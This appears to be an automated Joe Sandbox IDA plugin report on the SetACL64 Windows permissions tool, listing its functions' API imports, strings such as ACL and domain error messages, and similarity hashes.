Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLast$CreateDirectory
String ID: ' could not be created because: $CreateDirectoryAPIWrapper$Created the directory '$Directory already exists: '$The directory '
API String ID: 3201042626-1824261680
Opcode ID: d1b5d7231ef0ce28a8e66e00800bd7d89ee647de3540f67a21a8ce9304b88add
Instruction ID: bef6867152fe67ce1cf78c07798d50f54f9a124ed10f14aad5ca5dea5712e083
Opcode Fuzzy Hash: d1b5d7231ef0ce28a8e66e00800bd7d89ee647de3540f67a21a8ce9304b88add
Instruction Fuzzy Hash: 8B028362B58B4685FB04EF7AD4443AC6322AB497B8FC05231DA6C13AEADFBCD145C314

Function 00007FF7C1723755 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF7C1723760
GetLastError.KERNEL32 ref: 00007FF7C172376E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243DD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243E3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243E9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243EF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243F5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243FB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724401
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724407
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172440D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724413
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724419
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172441F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724425
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172442B

Strings

SetACL only supports Windows Vista and later., xrefs: 00007FF7C17238B7
The version of your operating system could not be determined., xrefs: 00007FF7C172379A
Prepare, xrefs: 00007FF7C17237C8, 00007FF7C17238E5

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastVersion
String ID: Prepare$SetACL only supports Windows Vista and later.$The version of your operating system could not be determined.
API String ID: 1165008562-2181592180
Opcode ID: 727d599cbf774fd4c5ba4d8356de33424bd120d4bccaa165a2686ec5f0d8e0cb
Instruction ID: 0ea0e8a5bf3077e0abf5ad88bfc4b2642cb328f52b407f69b2f9194e5c2c8b73
Opcode Fuzzy Hash: 727d599cbf774fd4c5ba4d8356de33424bd120d4bccaa165a2686ec5f0d8e0cb
Instruction Fuzzy Hash: 3B71C871A5978781EB00AF66E0843ADA321EB497B4F905531E65D03AEBCFFCE151CB10

Function 00007FF7C17213D1 Relevance: 28.6, APIs: 19, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c5659fc54ca624ddf6d2490e80867d1b248a83083ebe8249bddcb2d4f27d4c86
Instruction ID: a40fabca7492af1f7cdc2bc430f68b9eb86e15a7cdbc4b62a11754e0595ed385
Opcode Fuzzy Hash: c5659fc54ca624ddf6d2490e80867d1b248a83083ebe8249bddcb2d4f27d4c86
Instruction Fuzzy Hash: 21315321AAA75740FB00BFAAA0E93BD9126EF6D774FD01830D70C065D7CEACA151C624

Function 00007FF7C173ECA0 Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 446shareCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR ref: 00007FF7C173ED54
WNetEnumResourceW.MPR ref: 00007FF7C173EDE9
WNetCloseEnum.MPR ref: 00007FF7C173F004
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F381
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F387
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F38D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F39F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F3A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F3AB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F3B1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F3B7

Strings

> failed with: , xrefs: 00007FF7C173F0C8
GetUNCPathOfMappedDrive, xrefs: 00007FF7C173F124
Retrieving the remote path for mapped drive L<, xrefs: 00007FF7C173F081

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Enum$CloseOpenResource
String ID: > failed with: $GetUNCPathOfMappedDrive$Retrieving the remote path for mapped drive L<
API String ID: 3788045339-1117730555
Opcode ID: 26ce30747a7c3376bf249c0467c749ccf99a2e6852225826950c2a27f422109d
Instruction ID: b3ea732363d7bd0766442469fa2f0cffcb18db2b9f283b96d9be61d4d21a0016
Opcode Fuzzy Hash: 26ce30747a7c3376bf249c0467c749ccf99a2e6852225826950c2a27f422109d
Instruction Fuzzy Hash: 40126162A1974181FB00AF6AE44436DA362EB887F4FD05235DB5D47AEADFBCE181C710

Function 00007FF7C173A2A0 Relevance: 25.7, APIs: 17, Instructions: 199COMMON

Download Yara Rule

APIs

IsValidAcl.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A2F4
GetAce.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A30D
DeleteAce.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A338
GetAclInformation.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A354
GetLengthSid.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A361
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00007FF7C17399CE), ref: 00007FF7C173A37F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: DeleteErrorInformationLastLengthValid
String ID:
API String ID: 1967920013-0
Opcode ID: fa47e8455b8d5f9eec009974956262ef4a7b95b3ec48f1941adf8a6189de3f14
Instruction ID: 4164faf0b9df3911969512e91c2e6e535cd948e1383c6bd527af630d99ce75f3
Opcode Fuzzy Hash: fa47e8455b8d5f9eec009974956262ef4a7b95b3ec48f1941adf8a6189de3f14
Instruction Fuzzy Hash: DC819422B0C68282EB50BF23955523DB7A0BF99BA4F944035ED8E83796DFBCD4048721

Function 00007FF7C173AA60 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FF7C173AAAF

Part of subcall function 00007FF7C17421D4: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C1742204
Part of subcall function 00007FF7C17421D4: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C174220A

SysAllocString.OLEAUT32 ref: 00007FF7C173AAFD
SysAllocString.OLEAUT32 ref: 00007FF7C173ABA0
VariantInit.OLEAUT32 ref: 00007FF7C173ABCD
SafeArrayGetLBound.OLEAUT32 ref: 00007FF7C173AC29
SafeArrayGetUBound.OLEAUT32 ref: 00007FF7C173AC45
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C173AC6C
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7C173ACAB
VariantClear.OLEAUT32 ref: 00007FF7C173ACB8
SysFreeString.OLEAUT32 ref: 00007FF7C173ACD4
SysFreeString.OLEAUT32 ref: 00007FF7C173AD13
SysFreeString.OLEAUT32 ref: 00007FF7C173AD50

Strings

__systemsecurity=@, xrefs: 00007FF7C173A6E8, 00007FF7C173AAA8
GetSD, xrefs: 00007FF7C173AAF6

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: String$ArraySafe$AllocFree$BoundConcurrency::cancel_current_taskDataVariant$AccessClearInitUnaccess
String ID: GetSD$__systemsecurity=@
API String ID: 2119716662-3672729512
Opcode ID: a4bc5dedb66d47c51631d50f3265cb4853a502811ef6be4f41ada5bd415db247
Instruction ID: 89a7ce9fe4282842bff5e73d7913a07ea32c84d12b45e354925f98917b19ff41
Opcode Fuzzy Hash: a4bc5dedb66d47c51631d50f3265cb4853a502811ef6be4f41ada5bd415db247
Instruction Fuzzy Hash: 5F915232A09B4282EB54EF12E411379F3A4EF89BA0F944435DA4D83B96DFBDD544C760

Function 00007FF7C1723623 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243E9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243EF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243F5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243FB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724401
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724407
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172440D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724413
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724419
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172441F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724425
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172442B

Strings

The object type was not specified., xrefs: 00007FF7C1723641
Prepare, xrefs: 00007FF7C172366F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: Prepare$The object type was not specified.
API String ID: 3668304517-3861202280
Opcode ID: f6146cc0b52683d5413a34b6f752e51676bb9cf189912ec02217d27d55aa915d
Instruction ID: fcc4e7bedf506610f4495e0ea6a5a454b8372bea308d67155ed834ec87feb870
Opcode Fuzzy Hash: f6146cc0b52683d5413a34b6f752e51676bb9cf189912ec02217d27d55aa915d
Instruction Fuzzy Hash: 0931D721A6964781EB00BF66E0853AEA325EF593B4F901531E65C036EBCEBCD151CB14

Function 00007FF7C1739200 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 392COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32 ref: 00007FF7C173941D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17397E6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17397F2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17397FE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739804
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173980A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739810
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739816
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173981C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739822

Part of subcall function 00007FF7C1740C18: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1740C35
Part of subcall function 00007FF7C1740C18: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF7C1740C58
Part of subcall function 00007FF7C1740C18: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1740CF3

Strings

> was not found in domain <, xrefs: 00007FF7C1739498
Account <, xrefs: 00007FF7C1739481
ProcessACEsOfGivenDomains, xrefs: 00007FF7C1739567

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Lockitstd::_$Lockit::_Lockit::~_SetgloballocaleValidstd::locale::_
String ID: > was not found in domain <$Account <$ProcessACEsOfGivenDomains
API String ID: 2555488030-3371799133
Opcode ID: 466707cee54b4337e627ad1c5b082164c4624fdca99e4cbe8ccd6642e64db4c1
Instruction ID: 5942aa49ac364bbfadb9760686cad4fad086d80cf9e47f93614730484d957f08
Opcode Fuzzy Hash: 466707cee54b4337e627ad1c5b082164c4624fdca99e4cbe8ccd6642e64db4c1
Instruction Fuzzy Hash: 15029472A15B4185FB00EF66E4443ADA761EB987B8F905235DA5D03BE6DFBCE180C310

Function 00007FF7C171D760 Relevance: 22.7, APIs: 15, Instructions: 223synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7C171D89C
ReleaseMutex.KERNEL32 ref: 00007FF7C171D8AE
ResetEvent.KERNEL32 ref: 00007FF7C171DA41
WaitForSingleObject.KERNEL32 ref: 00007FF7C171DA51

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ObjectSingleWait$EventMutexReleaseReset
String ID:
API String ID: 4195719913-0
Opcode ID: 53c02e3128979e1348d48c8753feaf8a9deea66a6de0b7d4b8ab2bd848f986ba
Instruction ID: 1a6b623b35dda5394d857e541c5631c010eb6ddb2f6c738f6336e0fb2d83d285
Opcode Fuzzy Hash: 53c02e3128979e1348d48c8753feaf8a9deea66a6de0b7d4b8ab2bd848f986ba
Instruction Fuzzy Hash: EBB1AF32A18BC185EB21AF66D8483ED6361FB4D7A8F915231DA5C477E6DFB8D680C310

Function 00007FF7C1720520 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 464COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720C92
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720C98
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720C9E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720CA4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720CAA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720CB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720CB6

Part of subcall function 00007FF7C1713F80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714104
Part of subcall function 00007FF7C1713F80: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C171410A

Strings

Audit ACEs cannot be set on shares., xrefs: 00007FF7C17209B4
No trustee specified., xrefs: 00007FF7C172058F
AddACE, xrefs: 00007FF7C17205B9, 00007FF7C1720791, 00007FF7C172089D, 00007FF7C17209E1
Invalid access mode for this ACL type specified (e.g. you cannot add audit ACEs to the DACL, only to the SACL)., xrefs: 00007FF7C1720870
Invalid inheritance specified., xrefs: 00007FF7C1720764

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: AddACE$Audit ACEs cannot be set on shares.$Invalid access mode for this ACL type specified (e.g. you cannot add audit ACEs to the DACL, only to the SACL).$Invalid inheritance specified.$No trustee specified.
API String ID: 3936042273-1410195417
Opcode ID: c4ff67e74c09a2f73a2b1b69ce317e7775f2c5bfd494f419ddfd883c6a867768
Instruction ID: e8c0cbd7d2a01c7e9b4fb66ad3816419303b4b27ff8e89338afee6fb1681cd76
Opcode Fuzzy Hash: c4ff67e74c09a2f73a2b1b69ce317e7775f2c5bfd494f419ddfd883c6a867768
Instruction Fuzzy Hash: 91229272A1874285EB00EF6AE4483ADB371FB48768FD04135D68C57A9ADFBCE585C720

Function 00007FF7C17426DC Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7C17426F2
GetModuleHandleW.KERNEL32 ref: 00007FF7C17426FF
GetModuleHandleW.KERNEL32 ref: 00007FF7C1742714
GetProcAddress.KERNEL32 ref: 00007FF7C174272C
GetProcAddress.KERNEL32 ref: 00007FF7C174273F
CreateEventW.KERNEL32 ref: 00007FF7C174276B
DeleteCriticalSection.KERNEL32 ref: 00007FF7C17427B7
CloseHandle.KERNEL32 ref: 00007FF7C17427C9

Strings

SleepConditionVariableCS, xrefs: 00007FF7C1742722
kernel32.dll, xrefs: 00007FF7C174270D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF7C17426F8
WakeAllConditionVariable, xrefs: 00007FF7C1742732

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: a89e39b1e6dab9013fa2c69796a28cd76b0915c44a41f147d36bdeccd3bdc5f6
Instruction ID: fc92e78b88846c09326e1a200fe821bcc96b62f038c94c06e6226d33ed5ea0e5
Opcode Fuzzy Hash: a89e39b1e6dab9013fa2c69796a28cd76b0915c44a41f147d36bdeccd3bdc5f6
Instruction Fuzzy Hash: 9F21D831A1AA0391FB56FF23B854578A3A0AF4D7B0FD44435C90E436A6EFACE4598730

Function 00007FF7C17223BF Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 316COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172285E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722864
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172286A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722876
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172287C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722882
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722888
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172288E

Strings

> is probably incorrect., xrefs: 00007FF7C1722459
Domain name <, xrefs: 00007FF7C1722442
AddDomain, xrefs: 00007FF7C17224A6

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: > is probably incorrect.$AddDomain$Domain name <
API String ID: 3668304517-3402377043
Opcode ID: 331517c9e7e271e5a7fd40b88897b6cbc41d5860be722eeb7a384d55d81c47f0
Instruction ID: d62f6689594a65b0513e8ed532ec216e3d8130a7a17859422baa4367db41ef5f
Opcode Fuzzy Hash: 331517c9e7e271e5a7fd40b88897b6cbc41d5860be722eeb7a384d55d81c47f0
Instruction Fuzzy Hash: C3D15272B1574185EB04EF6AE4483AD6322EB487A4F905235EB5C47AEADFBCE191C310

Function 00007FF7C1731760 Relevance: 18.5, APIs: 12, Instructions: 476COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7C173193F
LocalFree.KERNEL32 ref: 00007FF7C173197A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7C1731B0D
LocalFree.KERNEL32 ref: 00007FF7C1731B4A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7C1731C8C
LocalFree.KERNEL32 ref: 00007FF7C1731CC9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DCB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DD7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731DE3

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

